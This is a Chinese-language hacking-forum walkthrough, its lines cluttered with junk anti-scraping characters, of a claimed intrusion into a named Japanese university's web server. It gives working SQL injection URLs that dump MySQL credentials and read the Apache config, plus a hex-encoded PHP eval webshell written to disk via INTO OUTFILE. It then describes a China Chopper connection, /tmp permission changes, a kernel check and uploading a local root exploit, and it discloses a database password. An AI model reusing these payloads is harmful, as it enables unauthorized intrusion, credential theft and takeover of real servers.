入侵日本同志社大学技术分析8 z7 U% R, o/ y. v+ s4 Q7 r
% q1 m9 w0 V3 L, l7 G. c7 i
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
! P+ ^/ @0 M+ A6 A2 ?5 R然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) E. _0 W1 ]/ [' R7 o$ T( ~
' ^; l5 x: W' u$ B! f) \% Q" V l5 \http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
4 ]4 P/ S6 P: A [% j2 }" p, V9 [0 L% O
( p) y+ `2 P" U; ~ y3 W V6 N! \
# k8 S% @/ i: N9 ^. K# Y1 M//@@datadir为数据库文件路径
/ e/ m! o9 K4 k( k( T $ d( j" d4 L0 U( @# y
( [0 p2 u& J' e3 Z K/ N/ S# P
//load_file读取网站容器apache的配置文件
; M# e: L- C+ K; `2 x# n% V7 D- _3 ~ $ A, `9 |7 R1 C) O
: B- s! y( V/ q' E! ]
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
- @) n$ U1 ]. G9 M" S复制代码+ e0 M0 \9 m9 J$ I6 i6 }
" C0 D8 a3 x& h' m7 z! P3 F" \
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
7 K) r# a5 l. m! Y0 d/ u. U5 E
8 Z/ {8 O5 ]+ i% \) P而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。 q1 O- ]" k# z
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)9 q& u9 U' g1 O+ h: E
( J% u& y7 a9 q; A; E2 I
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 G/ O! u e V/ q) Z0 O5 o' r/ R如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
1 s; v% {; U Y4 @8 s6 O @
, N! c2 k" z, b# R$ `既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/! | ], W7 H1 K. P3 q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
$ Z9 v5 [* m9 |直接写一句话:/ X3 s, z% x, f! m3 i/ @9 ~) a
, x. H9 v/ G! d2 R' \) ~/ |http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
7 o: B. t% M& b) K# O/ t
/ G1 K- i- q% q1 C " Q1 s \7 E9 k3 q" }3 L2 k- ?; D2 G. j
. i( F5 h/ r5 w A; D. S//最后的#是为了闭合前面的语句
3 n4 L$ Y, V; I9 Z3 T O5 T8 T 4 I* X! a8 W- L' v
7 d( e, K6 J# Z+ Q1 S) u2 G# D/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E * C0 h1 f" f% D! X) |
- z3 c+ n( O! c! |
& X; v5 {' h: a, v9 a4 C# T( r为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 9 S% r; a3 |* P- i8 @9 w8 u
; n. @- H% u' k; L# I" \) |6 X8 I* }. ` @2 ~
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ( K( ?" p/ Y9 [% ^
: E7 s4 y7 _. V: K$ }$ I1 c6 v+ m8 n3 u! `! v
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ( E& ^% L/ |; e
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
9 b8 @# n6 k, A$ X5 x复制代码7 y2 @; H# f; h1 C, a' |5 p9 Q1 z1 b
; ^8 ~! J9 z* l |5 r- G9 yHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有6 [" h, M# z0 b; g; S4 K2 i
通过上述注入语句,我们就得到了一句话木马:3 J3 m, }4 P0 Y# |; e5 r
9 k' a2 B* c1 N) ?( F4 } - }6 `1 z/ U+ o8 s- w9 v
?1 B' D1 l6 U
8 s6 y: e- f: Y2 c9 T- ]! M5 M
* x- i8 S0 g7 k& {$ R7 chttp://www.doshisha.ac.jp/english/engnews_img/aa.php
7 y, g i6 s6 p4 B复制代码 `" T0 f8 D# ^( {% h2 f
' D) k# S! d8 L8 [& ~用菜刀连接,密码是cmd,如图所示:3 W2 k! g! i; m) x# n
然后在命令提示行里看了一下,现在的权限是:
. D7 b+ H6 c/ u
" o# x+ e2 s2 w8 q/ z之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。7 j) P) l" Q! D! N. z; {/ c2 ^/ n
好在赋权给这个文件夹不需要root,直接执行赋权语句:
. l' P' q! H. V% k9 N9 f: F F$ E% H X
) H4 I* s! r3 z
3 s4 O+ y& `$ _" {; P 5 `6 h) Y$ |0 X% b0 }0 @
. G' o; S1 z' c9 H6 S) e- xchmod +x /tmp/ 9 B- { T7 E7 g5 T4 }( g2 t2 o
复制代码) {' R& x- i' a) i
2 ?. M0 m; ]5 Y
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
' @: E0 e, ]6 t5 [7 d然后就查了一下内核版本:# M/ A2 O n. F. J' a7 }! W
" u6 @2 T4 o/ Q. i* G: M
/ | R# |5 p2 o5 l2 @( l& g
! E7 R4 ?3 C* [( x
9 {. E; [( F) h( q5 c, Y p
! O7 h/ d( h u# kuname-a
/ r/ S+ G/ [, Z9 O2 \8 D
5 P$ y" z+ w" P H) t4 H
6 S, P7 R) ~1 J2 S//其实lsb_release -a 7 Z2 \$ N- }: b9 q- |- `4 E4 G
复制代码( N. l+ _2 n! Z2 d3 U$ X
8 B9 z; D) D7 h& x
如图所示:
6 E3 v& T3 b6 |: W5 g2 n2 U
6 D& x% g) d- I% V# t* L内核版本:linux mainz1 2.6.28-194.e15
# L. X Z! }( e8 @6 Z( i, V系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)" h8 j$ p7 j+ p7 i+ c+ G5 K
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
. Q+ k' K6 W8 U- \1 l
+ h- k. [- Z& h6 a然后给予执行权限
! T! Y! y& G7 z! T6 ]2 y, _一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样8 e2 i# T* N" ~4 e* K: |- A* l
6 w h; H' A) e; w- e- c: ]
( d* \9 R8 L6 Y0 |0 @3 H, q8 U6 |( _3 f* o6 ~
. p" ^$ X# w* F5 _3 x2 P1 b( u
0 l0 G: n* s% s2 t" N# T `% schmod +x /tmp/2.6.18-194
* ?) _) T9 A Z0 k2 [6 B) o复制代码 然后直接执行!~1 }/ K; S5 Z: K
! D2 Y5 \, ?1 }! P' X
总结:7 S2 ?% H4 C; g, E
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 C, S, s# C. e5 ]
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) B" m3 s$ E p4 `5 ^2 U9 j9 z
' r8 f! N) @3 g5 G |